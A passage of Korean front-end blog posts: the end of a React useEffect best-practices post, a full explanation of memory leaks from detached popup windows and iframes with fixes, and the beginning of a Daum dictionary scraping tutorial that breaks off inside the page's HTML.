> app의 state와 상관없이 mount시에 실행되어야만 하는 코드가 얼마나 많겠느냐? 하는 의미로 받아드리면 될 것 같다.

## 하나의 큰 `useEffect`를 만들지 마라.

각각의 `useEffect`는 관심사를 따로 분리해 두어야 한다. 하나의 큰 `useEffect`보다는, 각각의 로직을 분리해두는 것이 훨씬 좋다.

## 불필요한 외부 함수를 만들지 마라.

아래와 같은 코드는, `useEffect`에 두가지 deps를 추가해야 된다.

```javascript
// before. Don't do this!
function DogInfo({dogId}) {
  const [dog, setDog] = React.useState(null)
  const controllerRef = React.useRef(null)
  const fetchDog = React.useCallback((dogId) => {
    controllerRef.current?.abort()
    controllerRef.current = new AbortController()
    return getDog(dogId, {signal: controller.signal}).then(
      (d) => setDog(d),
      (error) => {
        // handle the error
      },
    )
  }, [])
  React.useEffect(() => {
    fetchDog(dogId)
    return () => controller.current?.abort()
  }, [dogId, fetchDog])
  return <div>{/* render dog's info */}</div>
}
```

위의 코드를 다음과 같이 바꿨다.

```javascript
function DogInfo({dogId}) {
  const [dog, setDog] = React.useState(null)
  React.useEffect(() => {
    const controller = new AbortController()
    getDog(dogId, {signal: controller.signal}).then(
      (d) => setDog(d),
      (error) => {
        // handle the error
      },
    )
    return () => controller.abort()
  }, [dogId])
  return <div>{/* render dog's info */}</div>
}
```

`useEffect` 밖에서 정의되어 있던 `fetchDog` 함수를 `useEffect` 내부로 가지고 왔다. 이전에는 이것이 외부에 정의되어 있었기 때문에, deps 배열에 추가해야 했다. 또한 이 때문에 무한 루프에 빠지는 것을 방지하기 위하여 memoize를 해야 했다. 또한, controller를 위해 `ref`도 사용했다.

반드시 effect내에서 사용할 함수는 외부가 아닌 내부에서 정의 해야 한다.

---

Source: https://yceffort.kr/2020/09/javascript-memory-leaks-by-window-detached.md
Title: detached window로 인한 자바스크립트 메모리 누수
Description: 면접에서 들었던 거지같은 질문에 대한 해답
Date: 2020-09-29
Tags: javascript, memory, browser

## Table of Contents

## 자바스크립트 메모리 누수란 무엇인가

일반적으로 메모리 누수라함은 애플리케이션을 실행하는 과정에서 발생하는 의도치 않게 메모리 사용량이 증가 하는 것을 의미한다. 자바스크립트에서는 일반적으로 더 이상 필요하지 않은 객체를 다른 객체나 함수에서 참조하고 있을 때 발생한다. 이러한 참조는 더 이상 필요없는 객체가 가비지 콜렉터에 의해 회수되는 것을 저지한다.

> 자바스크립트 메모리 누수에 대해서 예전에 한번 글을 올린 적이 있습니다용 https://yceffort.kr/2020/07/memory-leaks-in-javascript/

가비지 컬렉터의 역할은 애플리케이션에서 더 이상 사용하지 않거나 사용될 수 없는 객체를 알아내고 처리하는 것이다. 이는 객체가 자기 자신을 참조하거나, 순환참조로 서로를 참조할 때에도 정상적으로 작동한다. 애플리케이션에서 객체에 접근할 수 있는 참조가 더 이상 존재 하지 않는다면, 이는 가비지 컬렉팅 될 것이다.

```javascript
let A = {}
console.log(A) // 지역변수를 참조

let B = {A} // B.A로 A를 참조

A = null // 참조를 해제함.

console.log(B.A) // A는 여전히 B에서 참조되고 있음

B.A = null // B에서 A참조를 제거

// A를 참조하는 것이 더 이상 없다. 따라서 메모리에서 해제 된다.
```

애플리케이션이 DOM 요소나 팝업 창과 같이 자체 라이프 사이클이 있는 객체를 참조하게 되면 굉장히 까다로운 메모리 누수가 발생할 수 있다. 이러한 유형의 객체들은 애플리케이션이 알지 못하는 사이에 사용되고 있을 수 있다. 즉, 애플리케이션 코드는 가비지를 수집할 수 있는 객체에 대한 유일한 참조를 가질 수 있다. (유일한 참조를 가지고 있어서 가비지 컬렉팅을 방해할 수 있다.)

## 분리된 윈도우 (detached window)란 무엇인가?

아래 예제는, 슬라이드 쇼 뷰어 애플리케이션에는 발표자 노트 팝업을 열고 닫기 위한 버튼이 포함되어 있다. 만약 사용자가 `표시`를 누른후 `숨기기`를 누르지 않고 팝업창을 직접 닫았다고 가정해보자. `notesWindow` 변수는 여전히 팝업이 닫혀서 더 이상 사용할 수 없음애도 불구하고 팝업에 대한 접근 가능한 참조를 가지고 있을 것이다.

```html
<button id="show">Show Notes</button>
<button id="hide">Hide Notes</button>
<script type="module">
  let notesWindow
  document.getElementById('show').onclick = () => {
    notesWindow = window.open('/presenter-notes.html')
  }
  document.getElementById('hide').onclick = () => {
    if (notesWindow) notesWindow.close()
  }
</script>
```

이러한 예제를 분리된 윈도우 (detached window)라고 할 수 있다. 팝업 윈도우는 닫혔지만, 코드 상에서는 참조를 가지고 있어 브라우저가 해당 변수에 대한 메모리를 회수하고 있지 못하는 모습이다.

`window.open()`을 이용해 브라우저나 탭이 열렸을 경우, 열린 윈도우나 탭에 대한 [Window](https://developer.mozilla.org/en-US/docs/Web/API/Window) 객체를 리턴하게 된다. 이 윈도우가 닫혀버리더라도, `window.open`을 통해 리턴된 `Window`객체는 여전히 참조할 수 있는 정보를 가지고 있다. 이것이 분리된 윈도우 문제의 한 종류다. 자바스크립트 객체는 닫혀버린 `window` 객체에 대해 접근할수 있기 때문에, 이는 메모리에서 회수되지 않는다. 만약 이러한 팝업에 많은 양의 자바스크립트 코드나 iframe이 존재한다면, 해당 메모리는 해당 window 속성에 대한 자바스크립트 참조가 남아 있지 않을 때까지 회수할 수 없는 상태로 남아 있게 된다.

```javascript
// 창을 열고
let win = window.open(
  '/heavy.html',
  '',
  'left=200,top=200,width=200,height=200',
)
// 무언가 무거운 내용을 넣는다.
win.document.body.innerHTML = 'Heavy HTML'
// 창을 닫아버리지만
win.closed
// 여전히 팝업에 대한 정보가 담겨져 있다.
win.document.body.innerHTML
```

https://storage.googleapis.com/web-dev-assets/detached-window-memory-leaks/example-detached-window.webm

이러한 문제는 `<iframe>`에서도 동일하게 나타난다. `iframe`은 기본적으로 document 안에 window를 가지고 있는 것처럼 동작하고 있으며, `contentWindow`속성은 `Window`객체에 대한 접근을 가능하게 한다. 그리고 이 속성은, `window.open()`과 같이 동작한다. 마찬가지로 자바스크립트 코드는 iframe 의 `contentWindow`나 `contentDocument`에 대한 참조를 가질 수 있으므로, 주소나 DOM에 의해 iframe이 사라지더라도, 여전히 참조가 남아 있게되므로 메모리를 회수할 수 없게 된다.

https://storage.googleapis.com/web-dev-assets/detached-window-memory-leaks/example-detached-iframe.webm

자바스크립트에서 window 또는 iframe에 대한 참조가 유지되는 경우, 이 window나 iframe이 새로운 URL로 이동하도라도, 해당 document는 메모리에 저장된다. 이는 특히 자바스크립트가 document를 메모리에 보관하는 마지막 참조가 되는 시기를 모른다면, 해당 참조를 보관하는 자바스크립트가 window/iframe 이 새로운 URL로 이동한 것을 감지하지 못할 때 문제가 될 수 있다.

## 어떻게 분리된 윈도우가 메모리 누수를 유발하는가

기본 페이지와 동일한 도메인에서 window 및 iframe으로 작업을 할 때, document의 경계를 넘어서 이벤트 리스너를 추가하거나 속성을 엑세스 하는 것이 일반적이다. 예를들어, 앞서서 예시로 들었던 프레젠테이션 뷰어를 살펴보자. 뷰어에서 스피커 노트를 표시할 수 있는 두번째 창을 열고, 스피커느 다음 슬라이드로 이동하기 위한 신호로 클릭 이벤트를 받는다고 가정해보자. 사용자가 이 노트 창을 닫아도, 원래 상위 창에서 실행되는 자바스크립트는, 여전히 스피커 노트 문서 전체에 대한 엑세스 권한을 갖게 된다.

```html
<button id="notes">Show Presenter Notes</button>
<script type="module">
  let notesWindow
  function showNotes() {
    notesWindow = window.open('/presenter-notes.html')
    notesWindow.document.addEventListener('click', nextSlide)
  }
  document.getElementById('notes').onclick = showNotes

  let slide = 1
  function nextSlide() {
    slide += 1
    notesWindow.document.title = `Slide  ${slide}`
  }
  document.body.onclick = nextSlide
</script>
```

`showNotes()` 함수로 생성된 브라우저의 윈도우를 닫았다고 가정해보자. `window` 가 닫혔는지를 판단하는 이벤트 리스너는 존재하지 않으므로, 코드에 해당 참조를 제거해야하는지 여부를 알려줄 수 있는 방법이 없다. 따라서 `nextSlide()`함수는 여전히 메인 페이지의 클릭핸들러로써 존재하게 되며, `nextSlide`가 가지고 있는 `notesWindow`는 메모리 회수 대상에서 제외되어 버린다.

https://storage.googleapis.com/web-dev-assets/detached-window-memory-leaks/animation.webm

이 외에도 분리된 윈도우 문제로 인하여 메모리 회수를 막는 다양한 케이스가 존재할 수 있다.

- 이벤트 핸들러는 iframe이 의도된 URL로 미처 이동하기 전에, iframe에 등록 할 수 있으므로, 다른 참조가 정리된 후에도 document 및 iframe에 대하여 우발적인 참조가 지속되는 경우
- 많은 양의 메모리를 차지하는 iframe 또는 window는 새로운 URL로 이동한 후에도 오래동안 우연히 메모리에 저장되어 있을 수 있다. 이는 종종 리스너 제거를 허용하기 위해 문서에 대한 참조를 유지하는 부모 페이지에 의해 발생된다.
- 자바스크립트 객체를 다른 창 또는 iframe에 넘길 때, 객체 프로토타입체인에는 window을 포함하여 생성한 환경에 대한 참조가 포함된다. 이는 window 객체 에 대한 참조를 피하는 것 만큼, 다른 window에서 객체에 대한 참조를 피하는 것이 중요하다는 것을 의미한다.

`index.html`

```html
<script>
  let currentFiles
  function load(files) {
    currentFiles = files
  }
  window.open('upload.html')
</script>
```

`upload.html`

```html
<input type="file" id="file" />
<script>
  file.onchange = () => {
    parent.load(file.files)
  }
</script>
```

## 분리된 윈도우로 인한 메모리 누수를 감지하는 법

메모리 누수를 찾는 과정은 어렵다. 메모리가 누수되는 과정을 재현하는 것은 어렵고, 특히 많은 document 와 window가 얽혀있으면 더욱 어렵다. 더 골때리는 것은, 잠재적인 메모리 누수를 유발하는 참조를 조사하다가 또 다른 메모리 누수를 유발하는 객체를 만드는 것이다.

메모리 문제를 디버깅하기 위한 최적의 방법은 [heap sanpshot을 찍는 것이다](https://developers.google.com/web/tools/chrome-devtools/memory-problems#discover_detached_dom_tree_memory_leaks_with_heap_snapshots). 이는 현재 애플리케이션에서 사용되는 메모리, 생성되었지만 아직 수집되지 않은 모든 객체에 대한 시점별 뷰를 제공한다. heap snapshot에는 객체의 크기, 변수 목록, 객채를 참조하는 클로져등 객체에 대한 유용한 정보가 포함되어 있다.

![heap snap shot](https://webdev.imgix.net/detached-window-memory-leaks/heap-snapshot.png)

heap snap shot 녹화를 하기 위해서는, 크롬 개발자도구에서 메모리 탭을 누르고, 가능한 프로파일링 타입들 중에서 heap snapshot을 클릭한다. 녹화가 끝나면, 요약에서 현재 메모리에 있는 객체들이 그룹핑 되어 보일 것이다.

https://storage.googleapis.com/web-dev-assets/detached-window-memory-leaks/take-heap-snapshot.webm

힙 덤프를 분석하는 것은 굉장히 어려운 작업이기에, 디버깅을 하기 위한 적절한 정보를 찾는 것이 꽤 어려운 작업이 될 수 있다. 이를 위해 [Heap Cleaner](https://github.com/ykahlon/heap-cleaner)를 설치해서 개발하는 것이 도움이 될 수 있다. 이를 사용하면 그래프에서 다른 불필요한 정보가 제거되므로 보다 쾌적하게 추적할 수 있다.

### 코드로 메모리 계산하기

힙 스냅샷은 고수준의 세부정보를 제공하며, 누출 발생 지점을 파악하는데 탁월하다. 그러나 힙 스냅샷을 만들어 보는 것은 수동적인 절차를 거쳐야 한다. 이를 확인할 수 있는 다른 방법이 [performance.memory API](https://developer.mozilla.org/en-US/docs/Web/API/Performance/memory)를 이용하는 것이다.

![performance memory api](https://webdev.imgix.net/detached-window-memory-leaks/performance-memory.png)

이 `performance.memory` API는 오직 자바스크립트 힙사이즈의 정보만 제공하므로, 팝업의 document나 리소스에 대한 메모리는 포함되어 있지않다. 따라서 정확한 그림을 보기 위해서는 [performance.measureMemory API](https://web.dev/monitor-total-page-memory-usage/)를 봐야 한다.

## 분리된 윈도우의 메모리 누수 해결

가장 일반적인 두가 지 경우

- 상위 문서가 닫힌 팝업 또는 제거된 iframe 에 대한 참조를 가지고 있을때
- window나 iframe의 예상치 못한 네비게이션으로 인해 이벤트 핸들러가 등록되지 않는 경우

에 대해 알아보도록 하자.

### 예제1) 팝업 닫기

```html
<button id="open">Open Popup</button>
<button id="close">Close Popup</button>
<script>
  let popup
  open.onclick = () => {
    popup = window.open('/login.html')
  }
  close.onclick = () => {
    popup.close()
  }
</script>
```

코드를 얼핏 보면, 일반적인 함정을 피하는 것처럼 보인다. 팝업에 대한 참조는 유지 않고, 팝업 창에 이벤트 핸들러를 등록하고 있지 않다. 그러나 팝업 열기 버튼을 클릭하면 팝업 변수가 열어 버린 창을 참조하며, 해당 변수는 팝업 닫기 버튼 클릭 핸들러 내에서 액세스가 가능하다. `popup`이 재 할당 되거나, 클릭 핸들러가 제거 되지 않는 한, 해당 핸들러에 들어가 있는 참조는 메모리 수집이 되지 않는 다는 것을 의미한다.

#### 해결책: 참조 해제하기

가장 간단한 해결책은, 닫히는 순간 `popup` 변수를 재할당하여 해제하는 것이다.

```javascript
let popup
open.onclick = () => {
  popup = window.open('/login.html')
}
close.onclick = () => {
  popup.close()
  popup = null
}
```

당장, 이는 도움이 되는 것 처럼 보이지만, 만약 사용자가 닫기 버튼 대신 윈도우에 있는 X버튼을 눌러 닫아버리면 어떻게 되는가? 열어놓은 창에서 다른 웹사이트를 탐색한다면? 정리하자면, 닫기 버튼 이외에 다른 행동을 사용가자 취할 경우 여전히 메모리 누수 가능성이 존재한다.

#### 해결책: 닫히는지 확인하고 해제하기

많은 상황에서 창문을 열거나 프레임을 만드는 일을 담당하는 자바스크립트는 그들의 라이프사이클에 대한 독점적인 통제권을 가지고 있지 않다. 사용자가 팝업을 닫거나, 새로운 문서로 이동하면 이전에 창이나 프레임에 의해 포함된 문서가 분리될 수 있다. 두 경우 모두 브라우저는 `pageHide` 이벤트를 실행하여 문서가 언로드되고 있음을 알린다.

> 주의:`pageHide` 대신 [unload](https://developers.google.com/web/updates/2018/07/page-lifecycle-api#the-unload-event)도 비슷한 일을 할 것 같이 생겼지만, 이는 레거시 API 이므로 사용하면 안된다.

`pageHide` 이벤트는 윈도우가 닫히거나, 현재 document 에서 다른 페이지로 넘어가는 이벤트를 감지할 수 있다. 그러나 한가지 주의 할 것이 있다. 새로 생성된 모든 window와 iframe은 빈문서를 포함하고 있으며, URL이 제공되는 경우 비동기형태로 이동한다. 따라서 대상 문서가 로드되기 직전이나, window나 프레임을 작성한 직후에 `pageHide`이벤트가 실행된다. 대상 document가 언로드 될 때 참조 정리 코드가 실행되어야 하기 때문에, 우리는 이 첫 `pageHide` 이벤트를 무시하는 코드를 넣어야 한다. 이를 위해 여러가지 트릭들이 존재하지만, 가장 간단한 방법은 바로 이것이다.

```javascript
let popup
open.onclick = () => {
  popup = window.open('/login.html')

  // listen for the popup being closed/exited:
  popup.addEventListener('pagehide', () => {
    // ignore initial event fired on "about:blank":
    if (!popup.location.host) return

    // remove our reference to the popup window:
    popup = null
  })
}
```

여기서 한가지 또 기억해야 할 것은, 이러한 방식은 window나 frame이 동일한 origin에서 실행되어야 한다는 것이다. 만약 다른 origin에서 열릴 경우, `location.host`와 `pageHide` 이벤트는 보안상의 이슈로 인해 실행되지 않는다. 이를 위해 `window.closed`나 `frame.isConnected`속성을 모니터링 해야 한다. 각각의 속성은 창이 닫히거나 iframe이 제거되는 경우 모두를 확인할 수 있다.

```javascript
let popup = window.open('https://example.com')
let timer = setInterval(() => {
  if (popup.closed) {
    popup = null
    clearInterval(timer)
  }
}, 1000)
```

#### 해결책: WeakRef 사용하기

> [WeakRef](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WeakRef)는 자바스크립트의 새로운 기능으로, 아직 지원하는 브라우저가 많지 않다. (크롬, 파이어폭스) 이 방법은 문제를 해결하는 방법이라기 보다, 문제를 디버깅 하는 방법에 더 가깝다.

자바스크립트에서 참조 객체를 가비지 콜렉팅 가능하게 하기 위한 방법으로 `WeakRef`를 새롭게 지원하고 있다. `WeakRef`는 객체를 직접적으로 참조하는 것이 아니라, `.deref()`라고 불리우는, 가비지 수집되지 않는 한 객체에 대한 참조를 반환하는 새로운 방법을 제공한다. `WeakRef`를 사용하면 창이나 문서의 현재 값에 액세스 하면서도 동시에 가비지 콜렉팅이 가능하다. `pageHide`, `window.closed`와 같은 속성에 대응하여 수동으로 해제해야 하는 창에 대한 참조를 유지하는 대신, 필요에 따라 창에 대한 액세스를 얻는다. 창이 닫히면 메모리 수집이 가능해져 `.deref()`메소드가 `undefined`를 리턴한다.

```html
<button id="open">Open Popup</button>
<button id="close">Close Popup</button>
<script>
  let popup
  open.onclick = () => {
    popup = new WeakRef(window.open('/login.html'))
  }
  close.onclick = () => {
    const win = popup.deref()
    if (win) win.close()
  }
</script>
```

한가지 흥미로운 것은, 일반적으로 창이 닫히거나 `iframe`이 제거 된 후 짧은 시간동안 참조를 사용할 수 있다는 것이다. 이는 `WeakRef`가 관련된 객체를 가비지 콜렉팅하기 전까지 값을 계속 반환하기 때문인데, 이는 자바스크립트에서 메모리 수집이 유휴 시간 동안 비동기적으로 일어나기 때문이다. 크롬 개발자 도구에서 메모리 탭을 확인하면, 실제로 가비지 콜렉팅이 트리거 되고 약하게 참조된 window가 폐기되는 것을 볼 수 있다. 또한 `deref()`가 `undefined`를 반환하거나, [FinalizationRegistry API](https://v8.dev/features/weak-references#:~:text=FinalizationRegistry)를 활용하여 `WeakRef`를 통해 참조된 객체가 자바스크립트에서 삭제되엇는지 확인할 수 있다.

```javascript
let popup = new WeakRef(window.open('/login.html'))

// Polling deref():
let timer = setInterval(() => {
  if (popup.deref() === undefined) {
    console.log('popup was garbage-collected')
    clearInterval(timer)
  }
}, 20)

// FinalizationRegistry API:
let finalizers = new FinalizationRegistry(() => {
  console.log('popup was garbage-collected')
})
finalizers.register(popup.deref())
```

#### 해결책: postMessage로 통신하기

위에서의 해결책 보다 더 근본적인 방식에 대해 고민해볼 필요가 있다. 바로 두 페이지 간의 통신이다.

window와 문서 사이에서 구질구질하게 참조를 방지하는 것보다 좋은 해결책은 바로 문서간 통신을 [postMessage()](https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage)로 제한하는 것이다.

```javascript
let updateNotes
function showNotes() {
  // popup에 대한 참조를 클로져로 제한하여 밖에서 참조되는 것을 막는다.
  let win = window.open('/presenter-view.html')
  win.addEventListener('pagehide', () => {
    if (!win || !win.location.host) return // ignore initial "about:blank"
    win = null
  })
  // 다른 함수는 이 api를 통해서만 통신이 가능
  updateNotes = (data) => {
    if (!win) return
    win.postMessage(data, location.origin)
  }
  addEventListener('message', (event) => {
    if (event.source !== win) return
    if (event.data[0] === 'nextSlide') nextSlide()
  })
}

let slide = 1
function nextSlide() {
  slide += 1
  updateNotes(['setSlide', slide])
}
document.body.onclick = nextSlide
```

여전히 window간에 서로 참조는 필요하지만, 어느 것도 다른 창에서 현재 문서에 대한 참조를 유지 하지 않는다. 또한 메시지 전달 방식은 한 곳에서만 고정되도록 설계했는데 (`updateNotes`) 이는 창을 닫거나 탐색할 때 하나의 참조만 해제 하면 된다는 것을 의미한다. 위의 예제에서는, 오직 `showNotes`만 팝업창에 대한 참조를 유지하고, `pageHide`이벤트를 사용하여 참조가 정리되도록 한다.

#### 해결책: `noopener` 사용하기

팝업창이 열리긴 했지만, 페이지와 통신이 필요하지 않는 경우, 창에 대한 참조를 회피하고 싶을 수 있다. 이는 특히 기존 사이트와 완전히 다른 사이트를 여는 경우에 유용하다. 이러한 경우, `window.open()`에 [noopener option](https://developer.mozilla.org/en-US/docs/Web/API/Window/open#noopener)를 넣어서 마치 HTML링크의 [rel="noopener" 속성](https://web.dev/external-anchors-use-rel-noopener/) 과 동일하게 동작하게 만든다.

```javascript
window.open('https://example.com/share', null, 'noopener')
```

`noopener`를 사용하면 `window.open()`은 `null`를 리턴하여, 실수로 팝업창에 대한 참조를 방지할 수 있다. 팝업창 역시 `window.opener`가 `null` 이므로 부모창에 대한 참조를 막을 수 있다.

---

Source: https://yceffort.kr/2020/09/daum-dictionary-crawling.md
Title: 자바스크립트로 다음 사전 크롤링해보기
Description: 사실 이거 블로그 유입 늘리려고 하는 거임
Date: 2020-09-29
Tags: javascript, web-scraping

## 1. 검색

먼저 다음 사전에서 검색을 해보자.

https://dic.daum.net/search.do?q=take

주소는 굉장히 명확하다. `q={word}` 형식으로 내가 원하는 단어를 검색할 수 있다.

![crawling1](./images/daum-dict-crawling1.png)

다음 사전에서는 가장 검색어와 일치하는 단어, 그리고 최적의 결과를 맨 위에 보여준다. 따라서 가장 최상단에 있는 결과를 가져오면 될 것이다.

## 2. HTML 구조 살펴보기

```html
<div class="card_word" data-tiara-layer="word eng">
  <div class="wrap_tit">
    <h4 class="tit_word">영어사전</h4>
  </div>

  <div class="search_box" data-tiara-layer="box">
    <strong class="screen_out">주요 검색어</strong>
    <div class="cleanword_type kuek_type">
      <div class="search_cleanword">
        <strong class="tit_cleansch" data-tiara-id="ekw000165573">
          <a
            href="/word/view.do?wordid=ekw000165573"
            class="txt_cleansch"
            data-tiara-action-name="표제어 클릭"
            ><span class="txt_emph1">take</span></a
          >
        </strong>

        <a
          href="#none"
          name="goDaumLogin"
          data-dic="en"
          data-wordid="ekw000165573"
          data-wordbooktype="endic"
          class="btn_wordbook btn_save"
          ><span class="img_comm">단어장 저장</span></a
        >
        <a
          href="#none"
          name="addedToWordbook"
          data-wordid="ekw000165573"
          data-wordbookid=""
          data-wordbooktype="endic"
          class="btn_wordbook btn_save_on"
          style="display:none"
          ><span class="img_comm">완료</span></a
        >
      </div>
      <ul class="list_search">
        <li>
          <span class="num_search">1.</span
          ><span class="txt_search"
            >(<daum:word id="kew000044406">시간</daum:word>)<daum:word
              id="kew000057612"
              >이</daum:word
            >
            <daum:word id="kew000003279">걸리다</daum:word></span
          >
        </li>
        <li>
          <span class="num_search">2.</span
          ><span class="txt_search"
            ><daum:word id="kew000000776">가지다</daum:word></span
          >
        </li>
        <li>
          <span class="num_search">3.</span
          ><span class="txt_search"
            ><daum:word id="kew000029093">받다</daum:word></span
          >
        </li>
        <li>
          <span class="num_search">4.</span
          ><span class="txt_search"
            ><daum:word id="kew000069541">찍다</daum:word></span
          >
        </li>
        <li>
          <span class="num_search">5.</span
          ><span class="txt_search"
            ><daum:word id="kew000018535">데려가다</daum:word></span
          >
        </li>
      </ul>
      <div class="wrap_listen">
        <span class="desc_listen">
          미국 <span class="txt_pronounce">[teik]</span>
          <a
            href="http://t1.daumcdn.net/language/4F711B870374920252"
            data-audio=""
            data-url="http://t1.daumcdn.net/language/4F711B870374920252"
            data-count="2"
            data-toggle-class="btn_voice_on"
            class="btn_voice btn_listen"
          >
            <span class="img_comm ico_voice">듣기</span>
          </a>
        </span>
        <span class="desc_listen">
          영국 <span class="txt_pronounce">[teik]</span>
          <a
            href="http://t1.daumcdn.net/language/4F7141E60648140282"
            data-audio=""
            data-url="http://t1.daumcdn.net/language/4F7141E60648140282"
            data-count="2"
            data-toggle-class="btn_voice_on"
            class="btn_voice btn_listen"
          >
            <span class="img_comm ico_voice">듣기</span>
          </a>
        </span>
      </div>
    </div>
  </div>

  <div name="searchWords" class="search_box" data-initamount="3">
    <div name="searchItem" class="search_type kuek_type">
      <div class="search_word">
        <strong
          class="tit_searchword"
          data-tiara-id="ekw000165614_eku001479556"
        >
          <a
            href="/word/view.do?wordid=ekw000165614&amp;supid=eku001479556"
            class="txt_searchword"
            data-tiara-action-name="표제어 클릭"
            >taken</a
          >
        </strong>
      </div>
      <ul class="list_search">
        <li>
          <span class="txt_search"
            ><daum:word id="ekw000165573">take</daum:word
            ><daum:word id="kew000057346">의</daum:word>
            <daum:word id="kew000006957">과거</daum:word>
            <daum:word id="kew000034167">분사형</daum:word></span
          >
        </li>
      </ul>
      <div class="wrap_listen">
        <span class="desc_listen">
          미국
          <span class="txt_pronounce">[téik<daum:pron>ə</daum:pron>n]</span>
          <a
            href="http://t1.daumcdn.net/language/4F711B880479C501F3"
            data-audio=""
            data-url="http://t1.daumcdn.net/language/4F711B880479C501F3"
            data-count="2"
            data-toggle-class="btn_voice_on"
            class="btn_voice btn_listen"
          >
            <span class="img_comm ico_voice">듣기</span>
          </a>
        </span>
        <span class="desc_listen">
          영국
          <span class="txt_pronounce">[téik<daum:pron>ə</daum:pron>n]</span>
          <a
            href="http://t1.daumcdn.net/language/4F7141E70515EB0038"
            data-audio=""
            data-url="http://t1.daumcdn.net/language/4F7141E70515EB0038"
            data-count="2"
            data-toggle-class="btn_voice_on"
            class="btn_voice btn_listen"
          >
            <span class="img_comm ico_voice">듣기</span>
          </a>
        </span>
      </div>
    </div>
    <div name="searchItem" class="search_type kuek_type">
      <div class="search_word">
        <strong
          class="tit_searchword"
          data-tiara-id="ekw000165591_eku010011868"
        >
          <a
            href="/word/view.do?wordid=ekw000165591&amp;supid=eku010011868"
            class="txt_searchword"
            data-tiara-action-name="표제어 클릭"
            ><span class="txt_emph1">take</span> off</a
          >
        </strong>
      </div>
      <ul class="list_search">
        <li>
          <span class="num_search">1. </span
          ><span class="txt_search"
            >(<daum:word id="kew000034917">비</daum:word
            ><daum:word id="kew000003671">격식</daum:word>)
            <daum:word id="kew000011090">급히</daum:word>
            <daum:word id="kew000021323">떠나다</daum:word></span
          >
        </li>
        <li>
          <span class="num_search">2. </span
          ><span class="txt_search"
            ><daum:word id="kew000093332">이륙하다</daum:word></span
          >
        </li>
        <li>
          <span class="num_search">3. </span
          ><span class="txt_search"
            ><daum:word id="kew000001818">갑자기</daum:word>
            <daum:word id="kkw000275349">팔려</daum:word
            ><daum:word id="kew000012825">나가다</daum:word></span
          >
        </li>
        <li>
          <span class="num_search">4. </span
          ><span class="txt_search"
            ><daum:word id="kew000031414">벗다</daum:word>(↔<daum:word
              id="ekw000134200"
              >put</daum:word
            >
            <daum:word id="ekw000117498">on</daum:word>)</span
          >
        </li>
        <li>
          <span class="num_search">5. </span
          ><span class="txt_search"
            >…<daum:word id="kew000057049">을</daum:word> (<daum:word
              id="kew000042862"
              >수술</daum:word
            ><daum:word id="kew000021977">로</daum:word>)
            <daum:word id="kew000093979">절단하다</daum:word></span
          >
        </li>
      </ul>
      <div class="wrap_listen"></div>
    </div>
    <div name="searchItem" class="search_type kuek_type">
      <div class="search_word">
        <strong
          class="tit_searchword"
          data-tiara-id="ekw000170800_eku001525840"
        >
          <a
            href="/word/view.do?wordid=ekw000170800&amp;supid=eku001525840"
            class="txt_searchword"
            data-tiara-action-name="표제어 클릭"
            >took</a
          >
        </strong>
      </div>
      <ul class="list_search">
        <li>
          <span class="txt_search"
            ><daum:word id="ekw000165573">take</daum:word
            ><daum:word id="kew000057346">의</daum:word>
            <daum:word id="kkw000022005">과거형</daum:word></span
          >
        </li>
      </ul>
      <div class="wrap_listen">
        <span class="desc_listen">
          미국 <span class="txt_pronounce">[tuk]</span>
          <a
            href="http://t1.daumcdn.net/language/4F711C810256680213"
            data-audio=""
            data-url="http://t1.daumcdn.net/language/4F711C810256680213"
            data-count="2"
            data-toggle-class="btn_voice_on"
            class="btn_voice btn_listen"
          >
            <span class="img_comm ico_voice">듣기</span>
          </a>
        </span>
        <span class="desc_listen">
          영국 <span class="txt_pronounce">[tuk]</span>
          <a
            href="http://t1.daumcdn.net/language/4F7142E302241302BD"
            data-audio=""
            data-url="http://t1.daumcdn.net/language/4F7142E302241302BD"
            data-count="2"
            data-toggle-class="btn_voice_on"
            class="btn_voice btn_listen"
          >
            <span class="img_comm ico_voice">듣기</span>
          </a>
        </span>
      </div>
    </div>
  </div>
  <div class="search_link">
    <a
      href="/search.do?q=take&amp;dic=eng&amp;search_first=Y"
      class="link_dicmore"
      >영어사전 더보기<span class="img_comm ico_dicmore"></span
    ></a>
  </div>
</div>
```

여기에서 내가 필요한 영역은 `.class=search_box`다.

```html
<div class="search_box" data-tiara-layer="box">
  <strong class="screen_out">주요 검색어</strong>
  <div class="cleanword_type kuek_type">
    <div class="search_cleanword">
      <strong class="tit_cleansch" data-tiara-id="ekw000165573">
        <a
          href="/word/view.do?wordid=ekw000165573"
          class="txt_cleansch"
          data-tiara-action-name="표제어 클릭"
          ><span class="txt_emph1">take</span></a
        >
      </strong>

      <a
        href="#none"
        name="goDaumLogin"
        data-dic="en"
        data-wordid="ekw000165573"
        data-wordbooktype="endic"
        class="btn_wordbook btn_save"
        ><span class="img_comm">단어장 저장</span></a
      >
      <a
        href="#none"
        name="addedToWordbook"
        data-wordid="ekw000165573"
        data-wordbookid=""
        data-wordbooktype="endic"
        class="btn_wordbook btn_save_on"
        style="display:none"
        ><span class="img_comm">완료</span></a
      >
    </div>
    <ul class="list_search">
      <li>
        <span class="num_search">1.</span
        ><span class="txt_search"
          >(<daum:word id="kew000044406">시간</daum:word>)<daum:word
            id="kew000057612"
            >이</daum:word
          >
          <daum:word id="kew000003279">걸리다</daum:word></span
        >
      </li>
      <li>
        <span class="num_search">2.</span
        ><span class="txt_search"
          ><daum:word id="kew000000776">가지다</daum:word></span
        >
      </li>
      <li>
        <span class="num_search">3.</span
        ><span class="txt_search"
          ><daum:word id="kew000029093">받다</daum:word></span
        >
      </li>
      <li>
        <span class="num_search">4.</span
        ><span class="txt_search"
          ><daum:word id="kew000069541">찍다</daum:word></span
        >
      </li>
      <li>
        <span class="num_search">5.</span
        ><span class="txt_search"
          ><daum:word id="kew000018535">데려가다</daum:word></span
        >
      </li>
    </ul>
    <div class="wrap_listen">
      <span class="desc_listen">
        미국 <span class="txt_pronounce">[teik]</span>
        <a
          href="http://t1.daumcdn.net/language/4F711B870374920252"
          data-audio=""
          data-url="http://t1.daumcdn.net/language/4F711B870374920252"
          data-count="2"
          data-toggle-class="btn_voice_on"
          class="btn_voice btn_listen"
        >
          <span class="img_comm ico_voice">듣기</span>
        </a>
      </span>
      <span class="desc_listen">
        영국 <span class="txt_pronounce">[teik]</span>
        <a
          href="http://t1.daumcdn.net/language/4F7141E60648140282"
          data-audio=""
          data-url="http://t1.daumcdn.net/language/4F7141E60648140282"
          data-count="2"
          data-toggle-class="btn_voice_on"
